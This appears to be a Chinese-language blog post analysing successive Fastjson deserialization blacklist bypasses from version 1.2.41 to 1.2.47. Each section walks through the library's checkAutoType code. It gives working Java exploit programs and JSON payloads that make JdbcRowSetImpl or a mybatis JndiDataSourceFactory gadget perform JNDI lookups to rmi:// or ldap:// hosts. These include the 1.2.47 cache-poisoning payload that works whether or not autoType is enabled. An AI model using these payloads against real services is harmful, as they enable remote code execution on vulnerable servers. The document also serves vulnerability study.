如果加载的类在白名单上,就直接加载,然后在进行黑名单遍历,如果有就直接报错,没有就正常运行

一个是关闭autoTypeSupport状态

先黑名单检查,然后在白名单检查,有就加载,没有就过

还有一个就是在经历过上面条件之后还没有return走,并且还开启了autoTypeSupport状态的

直接加载类

在这三个能类加载的地方,最有可能利用的就是第三个,但是要走到第三个还得走第一个,可以不在白名单上面,但是不能在黑名单上面,这里TypeUtils.loadClass方法,就存在一个漏洞了:

如果类是L开头,;结尾的就去掉,然后在进行类加载,这里就可以帮助我们绕过黑名单了

EXP:

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;


public class JdbcRowSetImplEXP {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        Object exp=JSON.parseObject("{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"DataSourceName\":\"rmi://localhost:1099/Bloyet\",\"AutoCommit\":true}");
    }
}

这个EXP是得服务器把autoTypeSupport开启才能利用,但是默认情况下是关闭的

1.2.42绕过

补丁就多了个这个,然后黑名单改为了hash值,防止绕过,但是这个就跟sql注入一样,它是直接把传入的类名直接进行检查,如果是L开头,;结尾的直接删除,然后在

类加载的函数里面逻辑是不变的,那我们直接双写绕过就行

EXP:

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;


public class JdbcRowSetImplEXP {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        Object exp=JSON.parseObject("{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"DataSourceName\":\"rmi://localhost:1099/Bloyet\",\"AutoCommit\":true}");
    }
}

1.2.43绕过

多了个对类名双写LL检测,发现是LL直接报错

但是还是可以绕过,在我们类名前面先设置为[,让它认为是数组类型,然后去掉[,重新进行类加载,那么"后面的[{是干嘛的?

thisObj = deserializer.deserialze(this, clazz, fieldName); 紧接着进入正常的反序列化流程,使用ObjectArrayCodec类型的反序列化器进行反序列化,其中会提取数组中的成员类型并使用parser.parseArray 进行解析

当前token不为14时,即会判断是否为"[" ,如果不是会抛出异常;

if (token != 14) {
    throw new JSONException("exepct '[', but " + JSONToken.name(token) + ", " + this.lexer.info());
} else {

当前token不为12 或者 16时,即会判断是否为"{" 或者 ",",会在进入if流程后抛出异常,下面有一个char和token的对照关系;

if (token != 12 && token != 16) {
...
if (token == 14 && lexer.getCurrent() == ']') {
    lexer.next();
    lexer.nextToken();
    typeKey = null;
    return typeKey;
} else {
    StringBuffer buf = (new StringBuffer()).append("syntax error, expect {, actual ").append(lexer.tokenName()).append(", pos ").append(lexer.pos());
    if (fieldName instanceof String) {
        buf.append(", fieldName ").append(fieldName);
    }

    buf.append(", fastjson-version ").append("1.2.43");
    throw new JSONException(buf.toString());
}

// fastjson-1.2.43.jar!/com/alibaba/fastjson/parser/JSONLexerBase.class
this.ch == ',' this.token = 16
this.ch == '[' this.token = 14
this.ch == '{' this.token = 12
this.ch == '\'' this.token = 4

因此依次满足上面的条件即可触发payload,有个问题是为什么"{"在逗号前后都能触发,解析过程中判断到当前字符为16,也就是逗号时,会直接跳过该字符,进入下一个字符的处理,因此在"["后无论是先写逗号还是"{",最终都是解析"{"字符

if (this.lexer.isEnabled(Feature.AllowArbitraryCommas)) {
    while(this.lexer.token() == 16) {
        this.lexer.nextToken();
    }
}
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;


public class JdbcRowSetImplEXP {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        Object exp=JSON.parseObject("{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"DataSourceName\":\"rmi://localhost:1099/Bloyet\",\"AutoCommit\":true}");
    }
}

所以这个payload也是一条全新的绕过思路,在前面的版本都是可以用这个payload打的

1.2.45绕过

这个版本添加了一些黑名单,但是补充还是不全,如果服务器存在mybatis组件,版本为3.0.1 ≤ 版本 ≤ 3.4.6,可以进行利用

符合set方法调用,而且还一lookup方法,并且参数也可以控制,这里很有意思啊,我们看看是怎么控制这个参数的

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;


public class EXP {
    public static void main(String[] args) {

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

        Object exp=JSON.parseObject("{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://localhost:1099/Bloyet\"}}");
        System.out.println(exp);
    }
}

我们知道在fastjson中自动调用set方法的时候,会把properties后面的当做参数进行传入, 这里并且还是为Properties类型,走到下面调用lookup方法,方法里面还会调用properties.getProperty(DATA_SOURCE),DATA_SOURCE这个值默认是data_source,那我们跟进这个方法看看:

我们看到这个方法,他就是根据传入的kay来查找内容,它默认是查找data_source,我们的payload里面设置的data_source的值就是rmi要的值,那就直接进行漏洞利用了

1.2.47绕过

这个版本爆出了很严重的漏洞,可以说是低于1.2.47版本的通杀了

利用条件:

1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;

问题还是出在checkAutoType

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        ...
        //前面是对typeName格式的各种检测,这里我们暂时跳过
 
        //开启autoTypeSupport,则进入白名单+黑名单检测
        if (autoTypeSupport || expectClass != null) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
 
                //白名单检测,这里我们无法绕过
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                
                //黑名单检测,可以看到这里多了一个从Mapping中寻找类名的判断,绕过的关键就在这里
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }
 
        if (clazz == null) {
            //从Mapping缓冲中加载类
            clazz = TypeUtils.getClassFromMapping(typeName);
        }
 
        if (clazz == null) {
            //从deserializer中加载类
            clazz = deserializers.findClass(typeName);
        }
 
        if (clazz != null) {
            if (expectClass != null
                    && clazz != java.util.HashMap.class
                    && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }
            //通过上面两个方法加载类后返回
            return clazz;
        }
        
        //默认开启白名单的情况
        if (!autoTypeSupport) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                char c = className.charAt(i);
                hash ^= c;
                hash *= PRIME;
 
                //黑名单校验
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
                
                //白名单校验
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    if (clazz == null) {
                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    }
 
                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
 
                    return clazz;
                }
            }
        }
 
        if (clazz == null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
        }
 
        ...
 
        return clazz;
    }

如果服务器开启了autoTypeSupport,就先白名单,然后在进行黑名单,但是这里多了一个判断,如果仅仅是黑名单匹配到了还不行,还要去查找是否有这个类的缓存,如果没有才会爆异常,所以如果可以把我们想要的恶意类写入缓存中,就可以避免被黑名单匹配掉,然后程序没有报错,继续往下走,发现它直接从Mapping中读取类,然后进行加载了。所以说不管你有没有开启autoTypeSupport,按照代码的执行顺序来说,只要我们把恶意类写入了缓存中,就可以实现类加载(如果可以成功读取并加载,然后就会return走了,根本就走不到下面的if判断)

所以现在就是看怎么把恶意类写入缓存中

我们先从取出的方法来看 TypeUtils.getClassFromMapping 和 deserializers.findClass

TypeUtils.getClassFromMapping:

这里是从mapping中取值出来,写入的方法在哪呢?

其实写入的方法就在 TypeUtils.loadClass

 public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
 
        ...
        //对类名进行检查和判断
        try{
            //第一处,classLoader不为null
            if(classLoader != null){
                clazz = classLoader.loadClass(className);
 
                //如果chche为true,则将我们输入的className缓存入mapping中
                if (cache) {
                    mappings.put(className, clazz);
                }
                return clazz;
            }
        } catch(Throwable e){
            e.printStackTrace();
            // skip
        }
        try{
            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
 
            //第二处,检查较为严格
            if(contextClassLoader != null && contextClassLoader != classLoader){
                clazz = contextClassLoader.loadClass(className);
 
                //如果chche为true,则将我们输入的className缓存入mapping中
                if (cache) {
                    mappings.put(className, clazz);
                }
                return clazz;
            }
        } catch(Throwable e){
            // skip
        }
 
        //第三处,限制宽松,但
        try{
            clazz = Class.forName(className);
            mappings.put(className, clazz);
            return clazz;
        } catch(Throwable e){
            // skip
        }
        return clazz;
    }

那么现在就是看看那里还有调用loadClass方法,TypeUtils.loadClass是有三个重载的,最后都是会到上面这个loadClass方法的,我们在两个参数的loadClass方法中找到了调用(两个参数的,刚好chche为true,虽然一个参数的也是会先来到两个参数的,然后在去三个参数的方法)

在MiscCodec#deserialze方法中

strVal这个参数就是我们要加载的类(className),我们看怎么控制它的值

要给strVal赋值,就要objVal不为空,并且objVal的值赋给strVal,那么现在就是看objVal怎么赋值的

if判断默认是true的(是因为在后续的 parseObject 方法中会将resolveStatus设置为TypeNameRedirect),然后判断json字符串中是否有val键,等等一系列要求,然后就会把val的值解析返回给objVal中

然后就是只要我们把这个写入进去,我们在去正常加载就不会被黑名单匹配掉了,看payload怎么写:

首先把它写入缓存

{
//满足clazz为Class.class
"@type":"java.lang.Class",
 
//有val,且值为我们要写入mapping的恶意类
"val":"com.sun.rowset.JdbcRowSetImpl"
}

然后就是正常的:

{    
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://127.0.0.1:8000/Bloyet",
    "autoCommit":"true"
}

合起来:

{
    "1": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "2": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://127.0.0.1:1099/Bloyet",
        "autoCommit": true
    }
}

EXP:

package org.example;

import com.alibaba.fastjson.JSON;

public class EXP_tongsha {
    public static void main(String[] args) {
       Object  EXP = JSON.parseObject("{\n" +
               "    \"1\": {\n" +
               "        \"@type\": \"java.lang.Class\",\n" +
               "        \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
               "    },\n" +
               "    \"2\": {\n" +
               "        \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" +
               "        \"dataSourceName\": \"rmi://127.0.0.1:1099/Bloyet\",\n" +
               "        \"autoCommit\": true\n" +
               "    }\n" +
               "}");
    }
}

好文章:

Fastjson历史补丁Bypass分析 · BlBana’s BlackHouse

[Fastjson 反序列化漏洞 · 攻击Java Web应用-Java Web安全]